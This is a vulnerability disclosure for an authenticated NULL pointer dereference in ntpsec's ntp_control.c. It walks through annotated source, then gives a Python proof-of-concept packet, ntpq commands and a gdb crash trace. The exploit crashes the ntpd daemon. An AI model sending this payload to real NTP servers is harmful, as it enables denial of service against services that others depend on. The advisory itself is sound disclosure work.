Authenticated remotely triggerable NULL pointer dereference in ntp_control.c
Please note that I will publicly disclose this issue no later than January 18, 2019. 90 days from today.
It was found possible for an authenticated attacker to cause the ntpd daemon to SIGSEGV due to a NULL pointer dereference in ntp_control.c.
2875 static void
2876 write_variables(
2877 struct recvbuf *rbufp,
2878 int restrict_mask
2879 )
2880 {
2881 const struct ctl_var *v;
2882 int ext_var;
2883 char *valuep;
2884 long val;
...
2893 val = 0;
...
2911 while ((v = ctl_getitem(sys_var, &valuep)) != 0) { // <- valuep is set to NULL in ctl_getitem()
2912 ext_var = 0;
...
2929 errno = 0;
2930 if (!ext_var && (*valuep == '\0' // <- valuep is dereferenced
2931 || (val = strtol(valuep, NULL, 10), errno != 0))) {
2509 ctl_getitem(
2510 const struct ctl_var *var_list,
2511 char **data
2512 )
2513 {
...
2521 static const struct ctl_var eol = { 0, EOV, NULL };
2522 static char buf[128];
2523 static u_long quiet_until;
2524 const struct ctl_var *v;
2525 char *cp;
2526 char *tp;
...
2538
2539 /* Scan the string in the packet until we hit comma or
2540 * EoB. Register position of first '=' on the fly. */
2541 for (tp = NULL, cp = reqpt; cp != reqend; ++cp) { // <- tp set to NULL
2542 if (*cp == '=' && tp == NULL) // <- condition is never met due to missing value in request
2543 tp = cp; // (the request doesn't contain an equals sign)
2544 if (*cp == ',')
2545 break;
2546 }
2547
2548 /* Process payload, if any. */
2549 *data = NULL; // <- *data set to NULL
2550 if (NULL != tp) { // <- condition is false, as tp is NULL
...
2566 /* copy data, NUL terminate, and set result data ptr */
2567 memcpy(buf, plhead, plsize);
2568 buf[plsize] = '\0';
2569 *data = buf; // <- this line is never executed, *data remains NULL
2570 } else {
2571 /* no payload, current end --> current name termination */
2572 tp = cp;
2573 }
...
2615 if (EOV & v->flags) // <- (0x80 & 3) evaluates to true
2616 *data = NULL; // <-- *data set to NULL again
2617 else
2618 reqpt = cp + (cp != reqend);
2619 return v;
Using ntpq from ntp classic, an authenticated writevar
request without a value was sent to trigger the issue.
Proof of concept exploit:
#!/usr/bin/env python
import sys
import socket
buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
"\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
"\x56\xc8\x07\xd4")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))
Alternatively ntpq from ntp classic can be used:
ntp-4.2.8p12/ntpq/ntpq 127.0.0.1
ntpq> writevar 0 leap <-- note the absense of a variable value
Keyid: 1
MD5 Password: <-- enter the correct password, in this example "gurka"
127.0.0.1: timed out, nothing received
***Request timed out
ntpq>
magnus@h4xb0x:~/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2$ cat ~/resources/ntp.conf
#server 127.127.1.0 prefer
#fudge 127.127.1.0 stratum 10
#driftfile /var/lib/ntp/drift
#broadcastdelay 0.008
#logfile /tmp/ntp.log
# Give localhost full access rights
restrict 127.0.0.1
# Given local machine access to query
#restrict 172.16.59.179 mask 255.255.255.255 nomodify notrap
# disable auth
#enable auth
keys /home/magnus/resources/keys
trustedkey 1
controlkey 1
requestkey 1
magnus@h4xb0x:~/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2$ vi ~/resources/keys
magnus@h4xb0x:~/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2$ cat ~/resources/keys
1 M gurka
2 M agurk
magnus@h4xb0x:~/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2$ sudo gdb --args ./build/main/ntpd/ntpd -n -c ~/resources/ntp.conf
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./build/main/ntpd/ntpd...done.
(gdb) r
Starting program: /home/magnus/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2/build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
2018-10-20T20:48:48 ntpd[75861]: INIT: ntpd ntpsec-1.1.2 2018-10-20T17:59:05Z: Starting
2018-10-20T20:48:48 ntpd[75861]: INIT: Command line: /home/magnus/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2/build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
2018-10-20T20:48:48 ntpd[75861]: INIT: precision = 0.121 usec (-23)
2018-10-20T20:48:48 ntpd[75861]: INIT: successfully locked into RAM
2018-10-20T20:48:48 ntpd[75861]: CONFIG: readconfig: parsing file: /home/magnus/resources/ntp.conf
2018-10-20T20:48:48 ntpd[75861]: CONFIG: requestkey is a no-op because ntpdc has been removed.
2018-10-20T20:48:48 ntpd[75861]: AUTH: authreadkeys: reading /home/magnus/resources/keys
2018-10-20T20:48:48 ntpd[75861]: AUTH: authreadkeys: added 2 keys
2018-10-20T20:48:48 ntpd[75861]: INIT: Using SO_TIMESTAMPNS
2018-10-20T20:48:48 ntpd[75861]: IO: Listen and drop on 0 v6wildcard [::]:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen and drop on 1 v4wildcard 0.0.0.0:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 2 lo 127.0.0.1:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 3 eth0 192.168.245.220:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 4 eth0 192.168.245.131:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 5 lo [::1]:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 6 eth0 [fe80::50:56ff:fe38:d7b8%2]:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listening on routing socket on fd #23 for interface updates
2018-10-20T20:48:48 ntpd[75861]: statistics directory /var/NTP/ does not exist or is unwriteable, error No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x000055555557d7f6 in write_variables (rbufp=0x5555557b3bb0, restrict_mask=0) at ../../ntpd/ntp_control.c:2930
2930 if (!ext_var && (*valuep == '\0'
(gdb)